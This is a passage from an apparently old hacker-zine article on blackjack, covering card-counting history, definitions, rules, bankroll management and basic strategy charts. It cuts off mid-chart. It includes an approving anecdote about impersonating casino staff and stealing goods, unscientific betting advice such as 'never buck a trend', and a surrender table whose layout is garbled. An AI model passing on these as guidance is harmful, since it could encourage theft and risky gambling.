To continue with the analogy, one can consider Professor Edward O. Thorp to be the Captain Crunch of BlackJack. Dr. Thorp, then a mathematics teacher, picked up where Baldwin and company left off. In 1962, Thorp refined their basic strategy and developed the first card counting techniques. He published his results in "Beat the Dealer" [3], a book that became so popular that for a week in 1963 it was on the New York Time's best seller list. The book also scared the hell out of the Casino's. Thorp wrote "Beat the Market" in 1967, in which he used mathematics and computer algorithms to find pricing inefficiencies between stocks and related securities. Currently he is using an arbitrage formula to exploit undervalued warrants in the Japanese stock market.

The Casinos were so scared after Beat the Dealer, that they even changed the rules of the game to make if more difficult for the players to win. This didn't last long as people protested by not playing the new pseudo‑BlackJack. The unfavorable rules resulted in a loss of income for the casinos. Not making money is a sin for a casino, so they quickly reverted back to the original rules. Because Thorp's "Ten‑Count" method wasn't easy to master and many people didn't really understand it anyway, the casinos made a bundle from the game's newly gained popularity thanks to Thorp's book and all the media attention it generated.

Beat the Dealer is rather difficult to find these days, I picked up a copy at the library recently and checked the card in the back to see how popular it is today. I was surprised as hell to find that it was checked out over 20 times in the past year and a half or so! How many books from 1962 can claim that? I do not recommend reading the book for anything other than posterity purposes though, the reason being that newer books contain better, and easier to learn strategies.

Another major contributor in the history of winning BlackJack play is Julian Braun who worked at IBM. His thousands of lines of computer code and hours of BlackJack simulation on IBM mainframes resulted in THE Basic Strategy, and a number of card counting techniques. His conclusions were used in a 2nd edition of Beat the Dealer, and later in Lawrence Revere's 1977 book "Playing BlackJack as a Business".

Lastly, let me mention Ken Uston, who used five computers that were built into the shoes of members of his playing team in 1977. They won over a hundred thousand dollars in a very short time but one of the computers was confiscated and sent to the FBI. The fedz decided that the computer used public information on BlackJack playing and was not a cheating device. You may have seen this story in a movie made about his BlackJack exploits detailed in his book "The Big Player". Ken was also featured on a 1981 Sixty Minutes show and helped lead a successful legal challenge to prevent Atlantic City casinos from barring card counters.

Useful Definitions:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Just as in Social Engineering the Phone Company, an essential element for success is knowing the right buzzwords and acronyms. Therefore, I list some relevant definitions now, even though the reader will probably skip over them to get to the good stuff. The definitions merely serve as a reference for those who are uninitiated with the terminology of gambling, casinos, and BlackJack. If you encounter a term you don't understand in the article, look back here. The definitions are not in alphabetical order on purpose. I grouped them in what I feel is a logical and easy to remember fashion.

Action: This is a general gambling term which refers to the total amount of money bet in a specific period of time. Ten bets of ten dollars each is $100 of action.

Burn Card: A single card taken from the top of the deck or the first card in a shoe which the dealer slides across the table from his/her left to the right, and is placed into the discard tray. The card may or may not be shown face up (which can affect the count if you are counting cards). A card is burned after each shuffle. I have not been able to find out how this started nor the purpose for burning a card. If you know, drop me some email.

Cut Card: A solid colored card typically a piece of plastic which is given to a player by the dealer for the purpose of cutting the deck(s) after a shuffle. Cutting the cards in the 'right' location is part of the 'shuffle tracking' strategy mentioned later in Part 2.

Hole Card: Any face down card. The definition most often refers to the dealer's single face down card however.

Shoe: A device that can hold up to eight decks of cards which allows the dealer to slide out the cards one at a time.

Hard Hand: A hand in which any Ace is counted as a 1 and not as an 11.

Soft Hand: A hand in which any Ace is counted as an 11 and not as a 1.

Pat Hand: A hand with a total of 17 to 21.

Stand: To decline another card.

Hit: To request another card.

Bust: When a hand's value exceeds 21....a losing hand.

Push: A player‑dealer tie.

Pair: When a player's first two cards are numerically identical (ie, 7,7).

Point Count: The net value of the card count at the end of a hand.

Running Count: The count from the beginning of the deck or shoe. The running count is updated by the value of the point count after each hand.

True Count: The running count adjusted to account for the number of cards left in the deck or shoe to be played.

Bankroll: The stake (available money) a player plans to bet with.

Flat Bet: A bet which you do not vary ie, if you are flat betting ten dollars, you are betting $10 each and every hand without changing the betting amount from one hand to the next.

Black Chip: A $100. chip.

Green Chip: A $25.00 chip.

Red Chip: A $5.00 chip.

Foreign Chip: A chip that is issued by one casino and is honored by another as cash. A casino is not necessarily obligated to accept them.

Settlement: The resolving of the bet. Either the dealer takes your chips, pays you, or in the case of a push, no exchange of chips occurs.

Toke: Its not what some of you may think...to "toke" the dealer is just another word for tipping the dealer.

Marker: An IOU. A line of credit provided by the casino to a player.

Junket: An organized group of gamblers that travel to a casino together. Junkets are usually subsidized by a casino to attract players.

Comp: Short for complimentary. If you wave lots of money around, the casino (hotel) may give you things like a free room or free f00d hoping you'll keep losing money at the tables in their casino.

Heat: The pressure a casino puts on a winning player, typically someone who is suspected of being a card counter.

Shuffle Up: Prematurely shuffling the cards to harass a player who is usually suspected of being a counter.

Nut: The overhead costs of running the casino.

Pit: The area inside a group of gaming tables. The tables are arranged in an elliptical manner, the space inside the perimeter is the pit.

House: The Casino of course.

Cage: Short for cashier's cage. This is where chips are redeemed for cash, checks cashed, credit arranged, etc.

House Percentage: The casino's advantage in a particular game of chance.

Drop Percentage: That portion of the player's money that the casino will win because of the house percentage. It is a measure of the amount of a player's initial stake that he or she will eventually lose. On average this number is around 20 percent. That is, on average, Joe Gambler will lose $20 of every $100 he begins with.

Head‑On: To play alone at a BlackJack table with the dealer.

WAG Player: Wild Assed Guessing player.

SWAG Player: Scientific Wild Assed Guessing player.

Tough Player: What the casino labels an '3L33T' player who can hurt the casino monetarily with his or her intelligent play.

Counter: Someone who counts cards.

High Roller: A big bettor.

Mechanic: Someone who is elite in regards to manipulating cards, typically for illicit purposes.

Shill: A house employee who bets money and pretends to be a player to attract customers. Shills typically follow the same rules as the dealer which makes them somewhat easy to spot (ie, they don't Double Down or Split).

Pit Boss: An employee of the casino whose job is to supervise BlackJack players, dealers, and other floor personnel.

Review of BlackJack Rules of Play:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The rules of BlackJack differ slightly from area to area and/or from casino to casino. For example, a casino in downtown Vegas may have different rules than one of the Vegas Strip casinos which may have different rules from a casino up in Reno or Tahoe (Nevada). The rules in a casino in Freeport Bahamas may differ from those in Atlantic City, etc. Therefore, it is important to research, a priori, what the rules are for the area/casino(s) you plan on playing in. For Nevada casinos you can order a copy of [1] which contains rules info on all the licensed casinos in the state. Later in this article, you will see that each set of rule variations has a corresponding Basic Strategy chart that must be memorized. Memorizing all the charts can be too confusing and is not recommended.

The BlackJack table seats a dealer and one to seven players. The first seat on the dealer's left is referred to as First Base, the first seat on the dealer's right is referred to as Third Base. A betting square is printed on the felt table in front of each player seat. Immediately in front of the dealer is the chip tray. On the dealer's left is the deck or shoe and beside that should be the minimum bet sign‑‑something that you ought to read before sitting down to play. On the dealer's immediate right is the money drop slot where all currency and tips (chips) are deposited. Next to the drop slot is the discard tray. Play begins after the following ritual is completed: the dealer shuffles the cards, the deck(s) is "cut" by a player using the marker card, and the dealer "burns" a card.

Before any cards are dealt, the players may make a wager by placing the desired chips (value and number) into the betting box. I used the word "may" because you are not forced to bet every hand. Occasionally a player may sit out a hand or two for various reasons. I have sat out a couple of hands at times when the dealer was getting extremely lucky and everyone was losing. If you attempt to sit out too many hands especially if there are people waiting to play at your table, you may be asked to leave the table until you are ready to play. If you don't have any chips, put some cash on the table and the dealer will exchange them for chips.

Once all the bets are down, two cards (one at a time) are dealt from left to right. In many Vegas casinos, players get both cards face down. In Atlantic City and most every where else the player's cards are dealt face up. Should the cards be dealt face up, don't make the faux pas of touching them! They are dealt face up for a reason, primarily to prevent a few types of player cheating (see section on cheating in Part 2) and the dealer will sternly but nicely tell you not to touch the cards. As most of you know the dealer receives one card down and one card up. The numerical values of the cards are: (10, J, Q, K) = 10 ; (Ace) = 1 or 11 ; (other cards) = face value (3 = 3).

Since a casino can be as noisy as an old Step‑by‑Step Switch with all those slot machines going, marbles jumping around on roulette wheels, demoniacal shrieks of "YO‑LEVEN" at the craps table, people screaming that they hit the big one and so on, hand signals are usually the preferred method of signalling hit, stand, etc.

If the cards were dealt face down and you want a hit, lightly flick the cards across the felt two times. If the cards were dealt face up, point at the cards with a quick stabbing motion. You may also want to nod your head yes while saying "hit". The best way to indicate to the dealer that you want to stand regardless of how the cards were dealt is to move your hand from left to right in a level attitude with your palm down. Your hand should be a few inches or so above the table. Nodding your head no at the same time helps, while saying "stay" or "stand".

Permit me to interject a comment on the number of decks used in a game. Single deck games are pretty much restricted to Nevada casinos. In the casinos that have one‑deck games, the tables are usually full. Multiple deck games typically consist of an even number of decks (2, 4, 6, 8) although a few casinos use 5 or 7 decks. The two main reasons many casinos use multiple decks are:

1) They allow the dealer to deal more hands per hour thereby increasing the casino take.

2) They reduce but in no way eliminate the player advantage gained from card counting.

Dealer Rules ‑ The rules the dealer must play by are very simple. If the dealer's hand is 16 or less, he/she must take a card. If the dealer's hand is 17 or more, he/she must stand. Note that some casinos allow the dealer to hit on soft 17 which gives the house a very small additional advantage. The dealer's strategy is fixed and what you and the other players have is immaterial to him/her as far as hitting and standing is concerned.

Player rules ‑ The player can do whatever he/she wants as far as hitting and standing goes with the exception of the following special circumstances. See the section on Basic Strategy for the appropriate times to hit, stand, split, and double down. The aim is to have a hand which is higher than the dealers'. If there is a tie (push), neither you nor the dealer wins. Should a player get a BlackJack (first 2 cards are an Ace and a ten) the payoff is 150% more than the original bet ie, bet $10.00 and the payoff is $15.00.

DOUBLE DOWN: Doubling down is restricted to 2‑card hands usually totalling 9, 10, or 11 although some casinos allow doubling down on any 2‑card hand. If your first two cards provide you with the appropriate total and your cards were dealt face down, turn them over and put them on the dealer's side of the betting square. If your first two cards provide you with the appropriate total and your cards were dealt face up, point to them and say "double" when the dealer prompts you for a card and simultaneously put an equal amount of chips NEXT TO (not on top of) those already in the betting box. The dealer will give you one more card only, then he/she will move on to the next hand.

SPLITTING PAIRS: If you have a pair that you want to split and your cards are dealt face down, turn them over and place them a few inches apart. If your cards were dealt face up, point to your cards and say "split" when the dealer prompts you for a card. The original bet will go with one card and you will have to place an equal amount of chips in the betting box near the other card. You are now playing two hands, each as though they were regular hands with the exception being that if you have just split two aces. In that case, you only get one card which will hopefully be a 10. If it is a ten, that hand's total is now 21 but the hand isn't considered a BlackJack. That is, you are paid 1:1 and not 1:1.5 as for a natural (BlackJack).

Combined example of above two plays: Say you are dealt two fives. You split them (you dummy!). The next card is another 5 and you re‑split them (you chucklehead!!). Three hands have grown out of one AND you are now in for three times your original bet. But wait. Say the next card is a six. So one hand is a 5,6 which gives you eleven; another just has a 5 and the other hand has a 5. You decide to double down on the first hand. You are dealt a 7 giving 18 which you stand on. Now a ten is dealt for the second hand and you decide to stay at 15. The last hand is the lonely third 5, which is dealt a four for a total of nine. You decide to double down and get an eight giving that hand a total of 17. Shit you say, you started with a twenty dollar bet and now you are in for a hundred! Better hope the dealer doesn't end up with a hand more than 18 lest you lose a C‑note. The moral of this example is to not get caught up in the excitement and make rash decisions. However, there have been a couple of times where Basic Strategy dictated that certain split and double down plays should be made and I was very low on chips (and cash). Unless you are *really* psychic, don't go against Basic Strategy! I didn't and usually came out the better for it although I was really sweating the outcome of the hand due to my low cash status. The reason it was stupid to split two fives is that you are replacing a hand that is great for drawing on or doubling down on, by what will probably be two shitty hands.

INSURANCE: This option comes into play when the dealer's up card is an Ace. At this point all the players have two cards. The dealer does not check his/her hole card before asking the players if they want insurance. The reason being evident as the dealer can't give away the value of the hole card if the dealer doesn't know what the hole card is. If a player wants insurance, half the original amount bet is placed on the semicircle labeled "insurance" which is printed on the table. If the dealer has a BlackJack the player wins the side bet (the insurance bet) but loses the original bet, thus providing no net loss or gain since insurance pays 2 to 1. If the dealer does not have a BlackJack, the side bet is lost and the hand is played normally. If you are not counting cards DO NOT TAKE INSURANCE! The proper Basic Strategy play is to decline. The time to take insurance is when the number of non‑tens to tens drops below a 2 to 1 margin since insurance pays 2 to 1. It's simple math check it yourself.

SURRENDER: This is a fairly obscure option that originated in Manila (Philippines) in 1958 and isn't available in many casinos. There are two versions, "early surrender" and "late surrender". Early surrender allows players to quit two‑card hands after seeing the up card of the dealer. This option provides the player an additional 0.62 percent favorable advantage (significant) and therefore the obvious reason why many Atlantic City casinos abandoned the option in 1982. Late surrender is the same as early except that the player must wait until the dealer checks for a BlackJack. If the dealer does not have a BlackJack then the player may surrender. The following table was taken verbatim from [5] and is valid for games with 4+ decks. It details the best strategy regarding late surrender as determined from intensive computer simulation:

TWO‑CARD HAND TOTAL DEALER'S UP‑CARD

‑‑‑‑‑‑‑‑‑‑‑‑‑ ‑‑‑‑‑

9,7 16 ACE 10,6 * 16 * ACE 9,7 * 16 * 10 10,6 * 16 * 10 9,7 * 16 * 10 10,5 * 15 * 10 9,7 16 9 10,5 16 9

"In a single‑deck game, you would surrender only the above hands marked with an asterisk, as well as 7,7 against a dealer's 10 up‑card." [5]

Casino variations ‑ Note that some casinos do not permit doubling down on split pairs, and/or re‑splitting pairs. These options provide the player with a slight additional advantage.

Betting, Money Management, and the Psychology of Gambling:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Let me begin this section with the following statement: SCARED MONEY RARELY WINS. Most gambling books devote quite a bit of time to the psychology of gambling and rightfully so. There is a fine line to responsible gambling. On one hand you shouldn't bet money that you cannot afford to lose. On the other hand, if you are betting with money you expect to lose, where is your confidence? When I used to gamble, it was small time. I define small time as bringing $250.00 of 'losable' money. I've lost that much in one night. I didn't like it, but I still ate that week. One pitfall you can easily fall into happens AFTER you lose. You scold yourself for losing money you could have done something productive with. "DAMN, I could have bought a 200 MB hard drive with that!#&!". You should think about these things BEFORE you play.

Scared money is more in the mind than real. What I mean by that is even if you gamble with your last $10.00 in the world, it is important to play as though you have thousands of dollars in front of you. I don't mean piss the ten bucks away. I mean that there are certain plays you should make according to your chosen strategy which are the optimum mathematically. Don't make changes to it out of fear. Fear is not your friend.

The "risk of ruin" is the percent chance that you will lose your entire bankroll. This percentage should not exceed 5% if you plan on playing multiple sessions to make money. The risk of ruin is dependent on the sizes of your bets during a session. The "Kelly Criterion" provides a zero percent risk of ruin. The system requires that you bet according to the percent advantage you have at any one time. For example, if you are counting cards and your advantage for a certain hand is 2% then you may bet 2% of your total bankroll. If your total is $1000. then you can bet $20. Note that if you won the hand your bankroll is now $1020 and if your advantage dropped to 1.5%, taking .015 times 1020 (which will determine your next bet size) in your head isn't all that easy. The literature provides more reasonable systems, but do yourself a favor and stay away from "betting progressions". See Reference [16] (available on the Internet) for more information regarding risk of ruin & optimal wagers.

If you are gambling to make money, it is important to define how much cash you can lose before quitting. This number is called the "stop‑loss limit". My stop‑loss limit was my entire session bankroll which was $250 (50 betting units of $5.00 or 25 betting units of $10.00). This concept is especially important if you expect to play in the casinos for more than one session. Most books recommend that your session bankroll be about a fifth of your trip bankroll. Unfortunately, most people who have $500 in their wallet with a self imposed stop‑loss limit is $200 will violate that limit should they lose the two hundred. Discipline is what separates the great players from the ordinary ones.

Obviously you don't want to put a limit on how much you want to win. However, if you are keeping with a structured system there are certain limits to what your minimum and maximum bets should be. I am not going to go into that here though.

In my gambling experience, there has been one non‑scientific concept that has proven itself over and over again. NEVER BUCK A TREND! If you have just won three hands in a row, don't think that you are now 'due' for a loss and drastically scale back your bet. If you are winning go with it. A good friend of mine who was my 'gambling mentor' won $30,000 in a 24 hour period with a $200 beginning bankroll. This was not accomplished by scaling back bets. By the same token, if you see that the players at a certain table are losing consistently, don't sit down at that table. One problem that I've seen is when someone has won a lot and starts to lose. Mentally, they keep saying, "if I lose another $100 I will stop". They lose the hundred and say "no, really, the NEXT $100 I lose, I will stop", etc. When they go broke, that's when they stop. Live by the following graph typically designated as The Quitting Curve and you won't fall into that trap:

| *

| * * Loss

^ | * * Limit

| | * * QUIT! <‑+

| | *

W | *

i | *

n | *

n | *

i | *

n | *

g | *

|

|___________________

Time ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑>

Determine your loss limit and stay with it. Obviously the loss limit will change as you keep winning. Standard loss limits are 10 to 20 percent of the current bankroll. Note that this philosophy is also used in stock market speculation.

Basic Strategy:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you only read one section of this file, and you don't already know what Basic Strategy is, then this is the section you should read. Knowing Basic Strategy is CRITICAL to you gaining an advantage over the house. The Basic Strategy for a particular set of rules was developed by intensive computer simulation which performed a complete combinatorial analysis. The computer "played" tens of thousands of hands for each BlackJack situation possible and statistically decided as to which play decision favored the player. The following 3 charts should be duplicated or cut out from a hardcopy of this file. You don't want to wave them around at a BlackJack table but its nice to have them on hand in case you fail to recall some plays, at which time you can run to the rest room to refresh your memory.

I hope you don't think this is weird but I keep a copy of a certain Basic Strategy chart in my wallet at ALL times...just in case. Just in case of what you ask? Permit me to go off on a slight(?) tangent. The following story really happened. In 1984 I was visiting LOD BBS co‑sysop, Paul Muad'dib up in New York City. After about a week we were very low on cash despite the Pay Phone windfall mentioned in my Phrack Pro‑Phile ;‑>. I contacted a friend of mine who was working in New Jersey and he offered us a job for a couple of days. I spent just about the last of my cash on bus fair for me and Paul figuring that I would be getting more money soon. Some how, the destination was miscommunicated and we ended up in Atlantic City, which was not the location of the job. We were stuck. Our only recourse was to attempt to win some money to get us back on track. First we needed a little more capital. Paul, being known to physically impersonate phone company workers, and a Department of Motor Vehicles computer technician among others, decided to impersonate a casino employee so he could "look around". Look around he did, found a storage closet with a portable cooler and a case of warm soda, not exactly a gold mine but hey. He proceeded to walk that stuff right out of the casino. We commandeered some ice and walked around the beach for an hour selling sodas. It wasn't all that bad as scantily clad women seemed to be the ones buying them. To cut the story short, Paul knew ESS but he didn't know BlackJack. He lost and we resorted to calling up Sharp Razor, a fellow Legion member residing in NJ, who gave us (or is it lent?) the cash to continue our journey. For the record, I was fairly clueless about BlackJack at the time which really means that I thought I knew how to play but really didn't because I didn't even know Basic Strategy. The same goes for Paul. Had we had a chart on hand, we would at least have made the correct plays.

Here are the charts, memorize the one that is appropriate:

Las Vegas Single Deck Basic Strategy Table

Dealer's Up‑Card

Your +‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑‑+

Hand | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | A |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 8 | H | H | H | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 9 | D | D | D | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 10 | D | D | D | D | D | D | D | D | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 11 | D | D | D | D | D | D | D | D | D | D |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 12 | H | H | S | S | S | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 13 | S | S | S | S | S | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 14 | S | S | S | S | S | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 15 | S | S | S | S | S | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 16 | S | S | S | S | S | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 17 | S | S | S | S | S | S | S | S | S | S |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,2 | H | H | D | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,3 | H | H | D | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,4 | H | H | D | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,5 | H | H | D | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,6 | D | D | D | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,7 | S | D | D | D | D | S | S | H | H | S |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,8 | S | S | S | S | D | S | S | S | S | S |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,9 | S | S | S | S | S | S | S | S | S | S |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,A | P | P | P | P | P | P | P | P | P | P |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 2,2 | H | P | P | P | P | P | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 3,3 | H | H | P | P | P | P | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 4,4 | H | H | H | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 6,6 | P | P | P | P | P | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 7,7 | P | P | P | P | P | P | H | H | S | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 8,8 | P | P | P | P | P | P | P | P | P | P |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 9,9 | P | P | P | P | P | S | P | P | S | S |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

|10,10| S | S | S | S | S | S | S | S | S | S |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

H = Hit S = Stand D = Double Down P = Split

Las Vegas Multiple Deck Basic Strategy Table

Dealer's Up‑Card

Your +‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑‑+

Hand | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | A |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 8 | H | H | H | H | H | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 9 | H | D | D | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 10 | D | D | D | D | D | D | D | D | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 11 | D | D | D | D | D | D | D | D | D | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 12 | H | H | S | S | S | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 13 | S | S | S | S | S | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 14 | S | S | S | S | S | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 15 | S | S | S | S | S | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 16 | S | S | S | S | S | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 17 | S | S | S | S | S | S | S | S | S | S |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,2 | H | H | H | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,3 | H | H | H | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,4 | H | H | D | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,5 | H | H | D | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,6 | H | D | D | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,7 | S | D | D | D | D | S | S | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,8 | S | S | S | S | S | S | S | S | S | S |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,9 | S | S | S | S | S | S | S | S | S | S |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,A | P | P | P | P | P | P | P | P | P | P |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 2,2 | H | H | P | P | P | P | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 3,3 | H | H | P | P | P | P | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 4,4 | H | H | H | H | H | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 6,6 | H | P | P | P | P | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 7,7 | P | P | P | P | P | P | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 8,8 | P | P | P | P | P | P | P | P | P | P |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 9,9 | P | P | P | P | P | S | P | P | S | S |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

|10,10| S | S | S | S | S | S | S | S | S | S |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

H = Hit S = Stand D = Double Down P = Split

Atlantic City Multiple Deck Basic Strategy Table

Dealer's Up‑Card

Your +‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑‑+‑

Hand | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | A |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 8 | H | H | H | H | H | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 9 | H | D | D | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 10 | D | D | D | D | D | D | D | D | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 11 | D | D | D | D | D | D | D | D | D | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 12 | H | H | S | S | S | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 13 | S | S | S | S | S | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 14 | S | S | S | S | S | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 15 | S | S | S | S | S | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 16 | S | S | S | S | S | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 17 | S | S | S | S | S | S | S | S | S | S |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,2 | H | H | H | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,3 | H | H | H | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,4 | H | H | D | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,5 | H | H | D | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,6 | H | D | D | D | D | H | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,7 | S | D | D | D | D | S | S | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,8 | S | S | S | S | S | S | S | S | S | S |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,9 | S | S | S | S | S | S | S | S | S | S |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| A,A | P | P | P | P | P | P | P | P | P | P |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 2,2 | P | P | P | P | P | P | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

| 3,3 | P | P | P | P | P | P | H | H | H | H |

+‑‑‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑‑+‑‑

